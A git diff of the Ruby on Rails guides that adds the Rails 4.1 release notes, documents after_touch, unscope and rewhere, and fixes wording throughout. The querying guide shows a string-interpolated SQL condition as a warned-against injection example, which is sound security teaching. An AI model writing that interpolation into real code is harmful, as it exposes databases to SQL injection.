diff options
Diffstat (limited to 'guides/source')
37 files changed, 1202 insertions, 398 deletions
diff --git a/guides/source/2_2_release_notes.md b/guides/source/2_2_release_notes.md index 7db4cf07e7..522f628a7e 100644 --- a/guides/source/2_2_release_notes.md +++ b/guides/source/2_2_release_notes.md @@ -327,7 +327,7 @@ Other features of memoization include `unmemoize`, `unmemoize_all`, and `memoize The `each_with_object` method provides an alternative to `inject`, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block. ```ruby -%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'} +%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } # => {'foo' => 'FOO', 'bar' => 'BAR'} ``` Lead Contributor: [Adam Keys](http://therealadam.com/) @@ -366,7 +366,7 @@ Lead Contributor: [Daniel Schierbeck](http://workingwithrails.com/person/5830-da * `Inflector#parameterize` produces a URL-ready version of its input, for use in `to_param`. * `Time#advance` recognizes fractional days and weeks, so you can do `1.7.weeks.ago`, `1.5.hours.since`, and so on. * The included TzInfo library has been upgraded to version 0.3.12. -* `ActiveSuport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true` +* `ActiveSupport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true` Railties -------- diff --git a/guides/source/2_3_release_notes.md b/guides/source/2_3_release_notes.md index c2002fb8fa..8c633fa169 100644 --- a/guides/source/2_3_release_notes.md +++ b/guides/source/2_3_release_notes.md @@ -604,7 +604,7 @@ Deprecated A few pieces of older code are deprecated in this release: * If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the [irs_process_scripts](http://github.com/rails/irs_process_scripts/tree) plugin. -* `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render_component plugin](http://github.com/rails/render_component/tree/master.) +* `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render_component plugin](http://github.com/rails/render_component/tree/master). * Support for Rails components has been removed. * If you were one of the people who got used to running `script/performance/request` to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There's a new request_profiler plugin that you can install to get the exact same functionality back. * `ActionController::Base#session_enabled?` is deprecated because sessions are lazy-loaded now. diff --git a/guides/source/3_2_release_notes.md b/guides/source/3_2_release_notes.md index babdc5050e..a9484cf97a 100644 --- a/guides/source/3_2_release_notes.md +++ b/guides/source/3_2_release_notes.md @@ -375,7 +375,7 @@ Active Record * Support index sort order in SQLite, MySQL and PostgreSQL adapters. -* Allow the `:class_name` option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like :foreign_key already allow a symbol or a string. +* Allow the `:class_name` option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like `:foreign_key` already allow a symbol or a string. ```ruby has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized diff --git a/guides/source/4_0_release_notes.md b/guides/source/4_0_release_notes.md index c4ca1e921f..c0eb77c1e7 100644 --- a/guides/source/4_0_release_notes.md +++ b/guides/source/4_0_release_notes.md @@ -165,15 +165,15 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/a ### Notable changes -* Replace deprecated `memcache-client` gem with `dalli` in ActiveSupport::Cache::MemCacheStore. +* Replace deprecated `memcache-client` gem with `dalli` in `ActiveSupport::Cache::MemCacheStore`. -* Optimize ActiveSupport::Cache::Entry to reduce memory and processing overhead. +* Optimize `ActiveSupport::Cache::Entry` to reduce memory and processing overhead. * Inflections can now be defined per locale. `singularize` and `pluralize` accept locale as an extra argument. * `Object#try` will now return nil instead of raise a NoMethodError if the receiving object does not implement the method, but you can still get the old behavior by using the new `Object#try!`. -* `String#to_date` now raises `Argument Error: invalid date` instead of `NoMethodError: undefined method 'div' for nil:NilClass` +* `String#to_date` now raises `ArgumentError: invalid date` instead of `NoMethodError: undefined method 'div' for nil:NilClass` when given an invalid date. It is now the same as `Date.parse`, and it accepts more invalid dates than 3.x, such as: ``` diff --git a/guides/source/4_1_release_notes.md b/guides/source/4_1_release_notes.md new file mode 100644 index 0000000000..5c50ed83ea --- /dev/null +++ b/guides/source/4_1_release_notes.md @@ -0,0 +1,504 @@ +Ruby on Rails 4.1 Release Notes +=============================== + +Highlights in Rails 4.1: + +* Variants +* Spring +* Action View extracted from Action Pack + +These release notes cover only the major changes. To know about various bug +fixes and changes, please refer to the change logs or check out the +[list of commits](https://github.com/rails/rails/commits/master) in the main +Rails repository on GitHub. + +-------------------------------------------------------------------------------- + +Upgrading to Rails 4.1 +---------------------- + +If you're upgrading an existing application, it's a great idea to have good test +coverage before going in. You should also first upgrade to Rails 4.0 in case you +haven't and make sure your application still runs as expected before attempting +an update to Rails 4.1. A list of things to watch out for when upgrading is +available in the +[Upgrading to Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-4-0-to-rails-4-1) +guide. + + +Major Features +-------------- + +### Variants + +We often want to render different html/json/xml templates for phones, +tablets, and desktop browsers. Variants makes it easy. + +The request variant is a specialization of the request format, like `:tablet`, +`:phone`, or `:desktop`. + +You can set the variant in a before_action: + +```ruby +request.variant = :tablet if request.user_agent =~ /iPad/ +``` + +Respond to variants in the action just like you respond to formats: + +```ruby +respond_to do |format| + format.html do |html| + html.tablet # renders app/views/projects/show.html+tablet.erb + html.phone { extra_setup; render ... } + end +end +``` + +Provide separate templates for each format and variant: + +``` +app/views/projects/show.html.erb +app/views/projects/show.html+tablet.erb +app/views/projects/show.html+phone.erb +``` + +### Spring + +New Rails 4.1 applications will ship with "springified" binstubs. This means +that `bin/rails` and `bin/rake` will automatically take advantage preloaded +spring environments. + +**running rake tasks:** + +``` +bin/rake routes +``` + +**running tests:** + +``` +bin/rake test +bin/rake test test/models +bin/rake test test/models/user_test.rb +``` + +**running a console:** + +``` +bin/rails console +``` + +**spring introspection:** + +``` +$ bundle exec spring status +Spring is running: + + 1182 spring server | my_app | started 29 mins ago + 3656 spring app | my_app | started 23 secs ago | test mode + 3746 spring app | my_app | started 10 secs ago | development mode +``` + +Have a look at the +[Spring README](https://github.com/jonleighton/spring/blob/master/README.md) to +see a all available features. + +### Active Record enums + +Declare an enum attribute where the values map to integers in the database, but +can be queried by name. + +```ruby +class Conversation < ActiveRecord::Base + enum status: [ :active, :archived ] +end + +conversation.archive! +conversation.active? # => false +conversation.status # => "archived" + +Conversation.archived # => Relation for all archived Conversations +``` + +See +[active_record/enum.rb](https://github.com/rails/rails/blob/4-1-stable/activerecord/lib/active_record/enum.rb#L2-L42) +for a detailed write up. + +### Application message verifier. + +Create a message verifier that can be used to generate and verify signed +messages in the application. + +```ruby +message = Rails.application.message_verifier('salt').generate('my sensible data') +Rails.application.message_verifier('salt').verify(message) +# => 'my sensible data' +``` + +Documentation +------------- + + +Railties +-------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/railties/CHANGELOG.md) +for detailed changes. + +### Removals + +* Removed `update:application_controller` rake task. + +* Removed deprecated `Rails.application.railties.engines`. + +* Removed deprecated `threadsafe!` from Rails Config. + +* Removed deprecated `ActiveRecord::Generators::ActiveModel#update_attributes` in + favor of `ActiveRecord::Generators::ActiveModel#update`. + +* Removed deprecated `config.whiny_nils` option. + +* Removed deprecated rake tasks for running tests: `rake test:uncommitted` and + `rake test:recent`. + +### Notable changes + +* The [Spring application + preloader](https://github.com/jonleighton/spring) is now installed + by default for new applications. It uses the development group of + the Gemfile, so will not be installed in + production. ([Pull Request](https://github.com/rails/rails/pull/12958)) + +* `BACKTRACE` environment variable to show unfiltered backtraces for test + failures. ([Commit](https://github.com/rails/rails/commit/84eac5dab8b0fe9ee20b51250e52ad7bfea36553)) + +* Exposed `MiddlewareStack#unshift` to environment + configuration. ([Pull Request](https://github.com/rails/rails/pull/12479)) + +* Add `Application#message_verifier` method to return a message + verifier. ([Pull Request](https://github.com/rails/rails/pull/12995)) + +Action Mailer +------------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/actionmailer/CHANGELOG.md) +for detailed changes. + +### Notable changes + +* Instrument the generation of Action Mailer messages. The time it takes to + generate a message is written to the log. ([Pull Request](https://github.com/rails/rails/pull/12556)) + + +Active Model +------------ + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/activemodel/CHANGELOG.md) +for detailed changes. + +### Deprecations + +* Deprecate `Validator#setup`. This should be done manually now in the + validator's constructor. ([Commit](https://github.com/rails/rails/commit/7d84c3a2f7ede0e8d04540e9c0640de7378e9b3a)) + +### Notable changes + +* Added new API methods `reset_changes` and `changes_applied` to + `ActiveModel::Dirty` that control changes state. + + +Active Support +-------------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/activesupport/CHANGELOG.md) +for detailed changes. + + +### Removals + +* Removed `MultiJSON` dependency. As a result, `ActiveSupport::JSON.decode` + no longer accepts an options hash for `MultiJSON`. ([Pull Request](https://github.com/rails/rails/pull/10576) / [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Removed support for the `encode_json` hook used for encoding custom objects into + JSON. This feature has been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder) + gem. + ([Related Pull Request](https://github.com/rails/rails/pull/12183) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Removed deprecated `ActiveSupport::JSON::Variable` with no replacement. + +* Removed deprecated `String#encoding_aware?` core extensions (`core_ext/string/encoding`). + +* Removed deprecated `Module#local_constant_names` in favor of `Module#local_constants`. + +* Removed deprecated `DateTime.local_offset` in favor of `DateTime.civil_from_fromat`. + +* Removed deprecated `Logger` core extensions (`core_ext/logger.rb`). + +* Removed deprecated `Time#time_with_datetime_fallback`, `Time#utc_time` and + `Time#local_time` in favor of `Time#utc` and `Time#local`. + +* Removed deprecated `Hash#diff` with no replacement. + +* Removed deprecated `Date#to_time_in_current_zone` in favor of `Date#in_time_zone`. + +* Removed deprecated `Proc#bind` with no replacement. + +* Removed deprecated `Array#uniq_by` and `Array#uniq_by!`, use native + `Array#uniq` and `Array#uniq!` instead. + +* Removed deprecated `ActiveSupport::BasicObject`, use + `ActiveSupport::ProxyObject` instead. + +* Removed deprecated `BufferedLogger`, use `ActiveSupport::Logger` instead. + +* Removed deprecated `assert_present` and `assert_blank` methods, use `assert + object.blank?` and `assert object.present?` instead. + +### Deprecations + +* Deprecated `Numeric#{ago,until,since,from_now}`, the user is expected to + explicitly convert the value into an AS::Duration, i.e. `5.ago` => `5.seconds.ago` + ([Pull Request](https://github.com/rails/rails/pull/12389)) + +* Deprecated the require path `active_support/core_ext/object/to_json`. Require + `active_support/core_ext/object/json` instead. ([Pull Request](https://github.com/rails/rails/pull/12203)) + +* Deprecated `ActiveSupport::JSON::Encoding::CircularReferenceError`. This feature + has been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder) + gem. + ([Pull Request](https://github.com/rails/rails/pull/12785) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Deprecated `ActiveSupport.encode_big_decimal_as_string` option. This feature has + been extracetd into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder) + gem. + ([Pull Request](https://github.com/rails/rails/pull/13060) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +### Notable changes + +* `ActiveSupport`'s JSON encoder has been rewritten to take advantage of the + JSON gem rather than doing custom encoding in pure-Ruby. + ([Pull Request](https://github.com/rails/rails/pull/12183) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Improved compatibility with the JSON gem. + ([Pull Request](https://github.com/rails/rails/pull/12862) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Added `ActiveSupport::Testing::TimeHelpers#travel` and `#travel_to`. These + methods change current time to the given time or time difference by stubbing + `Time.now` and + `Date.today`. ([Pull Request](https://github.com/rails/rails/pull/12824)) + +* Added `Numeric#in_milliseconds`, like `1.hour.in_milliseconds`, so we can feed + them to JavaScript functions like + `getTime()`. ([Commit](https://github.com/rails/rails/commit/423249504a2b468d7a273cbe6accf4f21cb0e643)) + +* Added `Date#middle_of_day`, `DateTime#middle_of_day` and `Time#middle_of_day` + methods. Also added `midday`, `noon`, `at_midday`, `at_noon` and + `at_middle_of_day` as + aliases. ([Pull Request](https://github.com/rails/rails/pull/10879)) + +* Added `String#remove(pattern)` as a short-hand for the common pattern of + `String#gsub(pattern,'')`. ([Commit](https://github.com/rails/rails/commit/5da23a3f921f0a4a3139495d2779ab0d3bd4cb5f)) + +* Removed 'cow' => 'kine' irregular inflection from default + inflections. ([Commit](https://github.com/rails/rails/commit/c300dca9963bda78b8f358dbcb59cabcdc5e1dc9)) + +Action Pack +----------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/actionpack/CHANGELOG.md) +for detailed changes. + +### Removals + +* Removed deprecated Rails application fallback for integration testing, set + `ActionDispatch.test_app` instead. + +* Removed deprecated `page_cache_extension` config. + +* Removed deprecated `ActionController::RecordIdentifier`, use + `ActionView::RecordIdentifier` instead. + +* Removed deprecated constants from Action Controller: + + ActionController::AbstractRequest => ActionDispatch::Request + ActionController::Request => ActionDispatch::Request + ActionController::AbstractResponse => ActionDispatch::Response + ActionController::Response => ActionDispatch::Response + ActionController::Routing => ActionDispatch::Routing + ActionController::Integration => ActionDispatch::Integration + ActionController::IntegrationTest => ActionDispatch::IntegrationTest + +### Notable changes + +* `#url_for` takes a hash with options inside an + array. ([Pull Request](https://github.com/rails/rails/pull/9599)) + +* Added `session#fetch` method fetch behaves similarly to + [Hash#fetch](http://www.ruby-doc.org/core-1.9.3/Hash.html#method-i-fetch), + with the exception that the returned value is always saved into the + session. ([Pull Request](https://github.com/rails/rails/pull/12692)) + +* Separated Action View completely from Action + Pack. ([Pull Request](https://github.com/rails/rails/pull/11032)) + + +Active Record +------------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/activerecord/CHANGELOG.md) +for detailed changes. + +### Removals + +* Removed deprecated nil-passing to the following `SchemaCache` methods: + `primary_keys`, `tables`, `columns` and `columns_hash`. + +* Removed deprecated block filter from `ActiveRecord::Migrator#migrate`. + +* Removed deprecated String constructor from `ActiveRecord::Migrator`. + +* Removed deprecated `scope` use without passing a callable object. + +* Removed deprecated `transaction_joinable=` in favor of `begin_transaction` + with `d:joinable` option. + +* Removed deprecated `decrement_open_transactions`. + +* Removed deprecated `increment_open_transactions`. + +* Removed deprecated `PostgreSQLAdapter#outside_transaction?` + methodd. You can use `#transaction_open?` instead. + +* Removed deprecated `ActiveRecord::Fixtures.find_table_name` in favor of + `ActiveRecord::Fixtures.default_fixture_model_name`. + +* Removed deprecated `columns_for_remove` from `SchemaStatements`. + +* Removed deprecated `SchemaStatements#distinct`. + +* Moved deprecated `ActiveRecord::TestCase` into the Rails test + suite. The class is no longer public and is only used for internal + Rails tests. + +* Removed support for deprecated option `:restrict` for `:dependent` + in associations. + +* Removed support for deprecated `:delete_sql`, `:insert_sql`, `:finder_sql` + and `:counter_sql` options in associations. + +* Removed deprecated method `type_cast_code` from Column. + +* Removed deprecated `ActiveRecord::Base#connection` method. + Make sure to access it via the class. + +* Removed deprecation warning for `auto_explain_threshold_in_seconds`. + +* Removed deprecated `:distinct` option from `Relation#count`. + +* Removed deprecated methods `partial_updates`, `partial_updates?` and + `partial_updates=`. + +* Removed deprecated method `scoped`. + +* Removed deprecated method `default_scopes?`. + +* Remove implicit join references that were deprecated in 4.0. + +* Removed `activerecord-deprecated_finders` as a dependency. + +* Removed usage of `implicit_readonly`. Please use `readonly` method + explicitly to mark records as + `readonly`. ([Pull Request](https://github.com/rails/rails/pull/10769)) + +### Deprecations + +* Deprecated `quoted_locking_column` method, which isn't used anywhere. + +* Deprecated the delegation of Array bang methods for associations. + To use them, instead first call `#to_a` on the association to access the + array to be acted + on. ([Pull Request](https://github.com/rails/rails/pull/12129)) + +* Deprecated `ConnectionAdapters::SchemaStatements#distinct`, + as it is no longer used by internals. ([Pull Request](https://github.com/rails/rails/pull/10556)) + +### Notable changes + +* Added `ActiveRecord::Base.to_param` for convenient "pretty" URLs derived from + a model's attribute or + method. ([Pull Request](https://github.com/rails/rails/pull/12891)) + +* Added `ActiveRecord::Base.no_touching`, which allows ignoring touch on + models. ([Pull Request](https://github.com/rails/rails/pull/12772)) + +* Unify boolean type casting for `MysqlAdapter` and `Mysql2Adapter`. + `type_cast` will return `1` for `true` and `0` for `false`. ([Pull Request](https://github.com/rails/rails/pull/12425)) + +* `.unscope` now removes conditions specified in + `default_scope`. ([Commit](https://github.com/rails/rails/commit/94924dc32baf78f13e289172534c2e71c9c8cade)) + +* Added `ActiveRecord::QueryMethods#rewhere` which will overwrite an existing, + named where condition. ([Commit](https://github.com/rails/rails/commit/f950b2699f97749ef706c6939a84dfc85f0b05f2)) + +* Extended `ActiveRecord::Base#cache_key` to take an optional list of timestamp + attributes of which the highest will be used. ([Commit](https://github.com/rails/rails/commit/e94e97ca796c0759d8fcb8f946a3bbc60252d329)) + +* Added `ActiveRecord::Base#enum` for declaring enum attributes where the values + map to integers in the database, but can be queried by + name. ([Commit](https://github.com/rails/rails/commit/db41eb8a6ea88b854bf5cd11070ea4245e1639c5)) + +* Type cast json values on write, so that the value is consistent with reading + from the database. ([Pull Request](https://github.com/rails/rails/pull/12643)) + +* Type cast hstore values on write, so that the value is consistent + with reading from the database. ([Commit](https://github.com/rails/rails/commit/5ac2341fab689344991b2a4817bd2bc8b3edac9d)) + +* Make `next_migration_number` accessible for third party + generators. ([Pull Request](https://github.com/rails/rails/pull/12407)) + +* Calling `update_attributes` will now throw an `ArgumentError` whenever it + gets a `nil` argument. More specifically, it will throw an error if the + argument that it gets passed does not respond to to + `stringify_keys`. ([Pull Request](https://github.com/rails/rails/pull/9860)) + +* `CollectionAssociation#first`/`#last` (e.g. `has_many`) use a `LIMIT`ed + query to fetch results rather than loading the entire + collection. ([Pull Request](https://github.com/rails/rails/pull/12137)) + +* `inspect` on Active Record model classes does not initiate a new + connection. This means that calling `inspect`, when the database is missing, + will no longer raise an exception. ([Pull Request](https://github.com/rails/rails/pull/11014)) + +* Removed column restrictions for `count`, let the database raise if the SQL is + invalid. ([Pull Request](https://github.com/rails/rails/pull/10710)) + +* Rails now automatically detects inverse associations. If you do not set the + `:inverse_of` option on the association, then Active Record will guess the + inverse association based on heuristics. ([Pull Request](https://github.com/rails/rails/pull/10886)) + +* Handle aliased attributes in ActiveRecord::Relation. When using symbol keys, + ActiveRecord will now translate aliased attribute names to the actual column + name used in the database. ([Pull Request](https://github.com/rails/rails/pull/7839)) + +* The ERB in fixture files is no longer evaluated in the context of the main + object. Helper methods used by multiple fixtures should be defined on modules + included in `ActiveRecord::FixtureSet.context_class`. ([Pull Request](https://github.com/rails/rails/pull/13022)) + +Credits +------- + +See the +[full list of contributors to Rails](http://contributors.rubyonrails.org/) for +the many people who spent many hours making Rails, the stable and robust +framework it is. Kudos to all of them. diff --git a/guides/source/_welcome.html.erb b/guides/source/_welcome.html.erb index 0a0a958e30..27c53689c4 100644 --- a/guides/source/_welcome.html.erb +++ b/guides/source/_welcome.html.erb @@ -15,7 +15,7 @@ </p> <% end %> <p> - The guides for Rails 3.2.x are available at <a href="http://guides.rubyonrails.org/v3.2.14/">http://guides.rubyonrails.org/v3.2.14/</a>. + The guides for Rails 3.2.x are available at <a href="http://guides.rubyonrails.org/v3.2.16/">http://guides.rubyonrails.org/v3.2.16/</a>. </p> <p> The guides for Rails 2.3.x are available at <a href="http://guides.rubyonrails.org/v2.3.11/">http://guides.rubyonrails.org/v2.3.11/</a>. diff --git a/guides/source/action_controller_overview.md b/guides/source/action_controller_overview.md index cd4a1a0792..4252b5ee9a 100644 --- a/guides/source/action_controller_overview.md +++ b/guides/source/action_controller_overview.md @@ -321,16 +321,16 @@ in mind. It is not meant as a silver bullet to handle all your whitelisting problems. However you can easily mix the API with your own code to adapt to your situation. -Imagine a scenario where you want to whitelist an attribute -containing a hash with any keys. Using strong parameters you can't -allow a hash with any keys but you can use a simple assignment to get -the job done: +Imagine a scenario where you have parameters representing a product +name and a hash of arbitrary data associated with that product, and +you want to whitelist the product name attribute but also the whole +data hash. The strong parameters API doesn't let you directly +whitelist the whole of a nested hash with any keys, but you can use +the keys of your nested hash to declare what to whitelist: ```ruby def product_params - params.require(:product).permit(:name).tap do |whitelisted| - whitelisted[:data] = params[:product][:data] - end + params.require(:product).permit(:name, data: params[:product][:data].try(:keys)) end ``` @@ -350,7 +350,7 @@ For most stores, this ID is used to look up the session data on the server, e.g. The CookieStore can store around 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. -If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using ActionDispatch::Session::CacheStore. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time. +If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using `ActionDispatch::Session::CacheStore`. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time. Read more about session storage in the [Security Guide](security.html). @@ -990,7 +990,7 @@ you should also note the following things: * Failing to close the response stream will leave the corresponding socket open forever. Make sure to call `close` whenever you are using a response stream. * WEBrick servers buffer all responses, and so including `ActionController::Live` - will not work. You must use a web server which does not automatically buffer + will not work. You must use a web server which does not automatically buffer responses. Log Filtering diff --git a/guides/source/action_view_overview.md b/guides/source/action_view_overview.md index d19dd11181..769be9840c 100644 --- a/guides/source/action_view_overview.md +++ b/guides/source/action_view_overview.md @@ -262,7 +262,7 @@ Rails determines the name of the partial to use by looking at the model name in You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option: ```erb -<%= render @products, spacer_template: "product_ruler" %> +<%= render partial: @products, spacer_template: "product_ruler" %> ``` Rails will render the `_product_ruler` partial (with no data passed to it) between each pair of `_product` partials. @@ -464,7 +464,7 @@ stylesheet_link_tag :monkey # => #### auto_discovery_link_tag -Returns a link tag that browsers and news readers can use to auto-detect an RSS or Atom feed. +Returns a link tag that browsers and feed readers can use to auto-detect an RSS or Atom feed. ```ruby auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {title: "RSS Feed"}) # => @@ -1143,7 +1143,7 @@ Returns a string of option tags for pretty much any country in the world. #### country_select -Return select and option tags for the given object and method, using country_options_for_select to generate the list of option tags. +Returns select and option tags for the given object and method, using country_options_for_select to generate the list of option tags. #### option_groups_from_collection_for_select @@ -1242,7 +1242,7 @@ Returns a string of option tags for pretty much any time zone in the world. #### time_zone_select -Return select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags. +Returns select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags. ```ruby time_zone_select( "user", "time_zone") @@ -1258,7 +1258,7 @@ date_field("user", "dob") ### FormTagHelper -Provides a number of methods for creating form tags that doesn't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually. +Provides a number of methods for creating form tags that don't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually. #### check_box_tag diff --git a/guides/source/active_record_callbacks.md b/guides/source/active_record_callbacks.md index aa2ce99f6d..667433285f 100644 --- a/guides/source/active_record_callbacks.md +++ b/guides/source/active_record_callbacks.md @@ -55,7 +55,7 @@ class User < ActiveRecord::Base end ``` -Callbacks can also be registered to only fire on certain lifecycle events: +Callbacks can also be registered to only fire on certain life cycle events: ```ruby class User < ActiveRecord::Base @@ -141,6 +141,55 @@ You have initialized an object! => #<User id: 1> ``` +### `after_touch` + +The `after_touch` callback will be called whenever an Active Record object is touched. + +```ruby +class User < ActiveRecord::Base + after_touch do |user| + puts "You have touched an object" + end +end + +>> u = User.create(name: 'Kuldeep') +=> #<User id: 1, name: "Kuldeep", created_at: "2013-11-25 12:17:49", updated_at: "2013-11-25 12:17:49"> + +>> u.touch +You have touched an object +=> true +``` + +It can be used along with `belongs_to`: + +```ruby +class Employee < ActiveRecord::Base + belongs_to :company, touch: true + after_touch do + puts 'An Employee was touched' + end +end + +class Company < ActiveRecord::Base + has_many :employees + after_touch :log_when_employees_or_company_touched + + private + def log_when_employees_or_company_touched + puts 'Employee/Company was touched' + end +end + +>> @employee = Employee.last +=> #<Employee id: 1, company_id: 1, created_at: "2013-11-25 17:04:22", updated_at: "2013-11-25 17:05:05"> + +# triggers @employee.company.touch +>> @employee.touch +Employee/Company was touched +An Employee was touched +=> true +``` + Running Callbacks ----------------- @@ -204,7 +253,7 @@ As you start registering new callbacks for your models, they will be queued for The whole callback chain is wrapped in a transaction. If any _before_ callback method returns exactly `false` or raises an exception, the execution chain gets halted and a ROLLBACK is issued; _after_ callbacks can only accomplish that by raising an exception. -WARNING. Raising an arbitrary exception may break code that expects `save` and its friends not to fail like that. The `ActiveRecord::Rollback` exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised. +WARNING. Any exception that is not `ActiveRecord::Rollback` will be re-raised by Rails after the callback chain is halted. Raising an exception other than `ActiveRecord::Rollback` may break code that does not expect methods like `save` and `update_attributes` (which normally try to return `true` or `false`) to raise an exception. Relational Callbacks -------------------- @@ -290,7 +339,7 @@ Here's an example where we create a class with an `after_destroy` callback for a ```ruby class PictureFileCallbacks def after_destroy(picture_file) - if File.exists?(picture_file.filepath) + if File.exist?(picture_file.filepath) File.delete(picture_file.filepath) end end @@ -310,7 +359,7 @@ Note that we needed to instantiate a new `PictureFileCallbacks` object, since we ```ruby class PictureFileCallbacks def self.after_destroy(picture_file) - if File.exists?(picture_file.filepath) + if File.exist?(picture_file.filepath) File.delete(picture_file.filepath) end end @@ -358,4 +407,4 @@ end NOTE: the `:on` option specifies when a callback will be fired. If you don't supply the `:on` option the callback will fire for every action. -The `after_commit` and `after_rollback` callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback. +WARNING. The `after_commit` and `after_rollback` callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback. diff --git a/guides/source/active_record_querying.md b/guides/source/active_record_querying.md index 57e8e080f4..4725e2c8a2 100644 --- a/guides/source/active_record_querying.md +++ b/guides/source/active_record_querying.md @@ -436,7 +436,7 @@ to this code: Client.where("orders_count = #{params[:orders]}") ``` -because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. +because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out they can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. TIP: For more information on the dangers of SQL injection, see the [Ruby on Rails Security Guide](security.html#sql-injection). @@ -473,7 +473,7 @@ In the case of a belongs_to relationship, an association key can be used to spec ```ruby Post.where(author: author) -Author.joins(:posts).where(posts: {author: author}) +Author.joins(:posts).where(posts: { author: author }) ``` NOTE: The values cannot be symbols. For example, you cannot do `Client.where(status: :active)`. @@ -685,9 +685,9 @@ This will return single order objects for each day, but only those that are orde Overriding Conditions --------------------- -### `except` +### `unscope` -You can specify certain conditions to be excepted by using the `except` method. For example: +You can specify certain conditions to be removed using the `unscope` method. For example: ```ruby Post.where('id > 10').limit(20).order('id asc').except(:order) @@ -698,30 +698,24 @@ The SQL that would be executed: ```sql SELECT * FROM posts WHERE id > 10 LIMIT 20 -# Original query without `except` +# Original query without `unscope` SELECT * FROM posts WHERE id > 10 ORDER BY id asc LIMIT 20 ``` -### `unscope` - -The `except` method does not work when the relation is merged. For example: - -```ruby -Post.comments.except(:order) -``` - -will still have an order if the order comes from a default scope on Comment. In order to remove all ordering, even from relations which are merged in, use unscope as follows: +You can additionally unscope specific where clauses. For example: ```ruby -Post.order('id DESC').limit(20).unscope(:order) = Post.limit(20) -Post.order('id DESC').limit(20).unscope(:order, :limit) = Post.all +Post.where(id: 10, trashed: false).unscope(where: :id) +# => SELECT "posts".* FROM "posts" WHERE trashed = 0 ``` -You can additionally unscope specific where clauses. For example: +A relation which has used `unscope` will affect any relation it is +merged in to: ```ruby -Post.where(id: 10).limit(1).unscope({ where: :id }, :limit).order('id DESC') = Post.order('id DESC') +Post.order('id asc').merge(Post.unscope(:order)) +# => SELECT "posts".* FROM "posts" ``` ### `only` @@ -796,6 +790,32 @@ SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC This method accepts **no** arguments. +### `rewhere` + +The `rewhere` method overrides an existing, named where condition. For example: + +```ruby +Post.where(trashed: true).rewhere(trashed: false) +``` + +The SQL that would be executed: + +```sql +SELECT * FROM posts WHERE `trashed` = 0 +``` + +In case the `rewhere` clause is not used, + +```ruby +Post.where(trashed: true).where(trashed: false) +``` + +the SQL executed would be: + +```sql +SELECT * FROM posts WHERE `trashed` = 1 AND `trashed` = 0 +``` + Null Relation 